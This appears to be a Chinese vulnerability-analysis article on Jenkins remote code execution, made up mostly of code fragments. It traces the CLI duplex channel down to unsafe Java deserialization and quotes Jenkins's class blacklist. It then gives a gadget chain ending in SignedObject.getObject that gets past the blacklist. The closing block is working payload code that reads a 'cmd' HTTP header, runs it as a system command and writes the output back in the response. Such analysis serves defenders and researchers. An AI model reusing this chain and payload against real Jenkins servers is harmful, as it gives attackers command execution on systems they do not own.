漏洞分析｜死磕Jenkins漏洞回显与利用效果

private class CliEndpointResponse extends HttpResponseException {  @Override  public void generateResponse(StaplerRequest req, StaplerResponse rsp, Object node) throws IOException, ServletException {    try {      UUID uuid = UUID.fromString(req.getHeader("Session"));      rsp.setHeader("Hudson-Duplex","");      FullDuplexHttpChannel server;      if(req.getHeader("Side").equals("download")) {        ......        try {          server.download(req,rsp);        } finally {          duplexChannels.remove(uuid);        }      } else {        duplexChannels.get(uuid).upload(req,rsp);      }    } catch (InterruptedException e) {......}  }}

public synchronized void download(StaplerRequest req, StaplerResponse rsp) throws InterruptedException, IOException {  ......  try {      channel = new Channel("HTTP full-duplex channel " + uuid,      Computer.threadPoolForRemoting, Mode.BINARY, upload, out, null, restricted);  ......  } finally {......}}

@Deprecatedpublic Channel(String name, ExecutorService exec, Mode mode, InputStream is, OutputStream os, OutputStream header, boolean restricted) throws IOException {  this(name,exec,mode,is,os,header,restricted,null);}  ......protected Channel(ChannelBuilder settings, CommandTransport transport) throws IOException {  ......  transport.setup(this, new CommandReceiver() {        public void handle(Command cmd) {            commandsReceived++;            lastCommandReceivedAt = System.currentTimeMillis();            if (logger.isLoggable(Level.FINE))                logger.fine("Received " + cmd);            try {                cmd.execute(Channel.this);            } catch (Throwable t) {                logger.log(Level.SEVERE, "Failed to execute command " + cmd + " (channel " + Channel.this.name + ")", t);                logger.log(Level.SEVERE, "This command is created here", cmd.createdAt);            }        }    ......    });    ACTIVE_CHANNELS.put(this,ref());}

@Overridepublic void setup(Channel channel, CommandReceiver receiver) {    this.channel = channel;    new ReaderThread(receiver).start();}

@Overridepublic void run() {    final String name =channel.getName();    try {        while(!channel.isInClosed()) {            Command cmd = null;            try {                cmd = read();            } catch (SocketTimeoutException ex) {                if (RDR_FAIL_ON_SOCKET_TIMEOUT) {                    LOGGER.log(Level.SEVERE, "Socket timeout in the Synchronous channel reader."                            + " The channel will be interrupted, because " + RDR_SOCKET_TIMEOUT_PROPERTY_NAME                             + " is set", ex);                    throw ex;                }            }            ......        }    }}

public final Command read() throws IOException, ClassNotFoundException {    try {        Command cmd = Command.readFrom(channel, ois);        if (rawIn!=null)            rawIn.clear();        return cmd;    } catch (RuntimeException e) {// see JENKINS-19046        throw diagnoseStreamCorruption(e);    } catch (StreamCorruptedException e) {        throw diagnoseStreamCorruption(e);    }}

static Command readFrom(Channel channel, ObjectInputStream ois) throws IOException, ClassNotFoundException {  Channel old = Channel.setCurrent(channel);  try {    return (Command)ois.readObject();  } finally {    Channel.setCurrent(old);  }}

private static final String[] DEFAULT_PATTERNS = {    "^bsh[.].*",    "^com[.]google[.]inject[.].*",    "^com[.]mchange[.]v2[.]c3p0[.].*",    "^com[.]sun[.]jndi[.].*",    "^com[.]sun[.]corba[.].*",    "^com[.]sun[.]javafx[.].*",    "^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*",    "^java[.]awt[.].*",    "^java[.]rmi[.].*",    "^javax[.]management[.].*",    "^javax[.]naming[.].*",    "^javax[.]script[.].*",    "^javax[.]swing[.].*",    "^org[.]apache[.]commons[.]beanutils[.].*",    "^org[.]apache[.]commons[.]collections[.]functors[.].*",    "^org[.]apache[.]myfaces[.].*",    "^org[.]apache[.]wicket[.].*",    ".*org[.]apache[.]xalan.*",    "^org[.]codehaus[.]groovy[.]runtime[.].*",    "^org[.]hibernate[.].*",    "^org[.]python[.].*",    "^org[.]springframework[.](?!(\p{Alnum}+[.])*\p{Alnum}*Exception$).*",    "^sun[.]rmi[.].*",    "^javax[.]imageio[.].*",    "^java[.]util[.]ServiceLoader$",    "^java[.]net[.]URLClassLoader$"};

 *   JSONArray.containsAll() -> *    JSONArray.containsAll() -> *     JSONArray.fromObject() -> *      JSONArray._fromCollection() -> *       JSONArray.addValue() -> *        JSONArray.processValue() -> *         JSONArray._processValue() -> *          AbstractJSON._processValue() -> *           JSONObject.fromObject() -> *            JSONObject._fromBean() -> *             JSONObject.defaultBeanProcessing() -> *              PropertyUtils.getProperty() -> *               PropertyUtilsBean.getProperty() -> *                PropertyUtilsBean.getNestedProperty() -> *                 PropertyUtilsBean.getSimpleProperty() -> *                  PropertyUtilsBean.invokeMethod() -> *                   SignedObject.getObject() ->

Field underlyingOutputField = channel.getClass().getDeclaredField("underlyingOutput");underlyingOutputField.setAccessible(true);Object underlyingOutput = underlyingOutputField.get(channel);Object httpConnection;

try{  Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel");  _channelField.setAccessible(true);  httpConnection = _channelField.get(underlyingOutput);    }catch (Exception e){  Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");  connectionField.setAccessible(true);  httpConnection = connectionField.get(underlyingOutput);}

Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);String result = "n"+exec(cmd);outputStream.write(result.getBytes());outputStream.flush();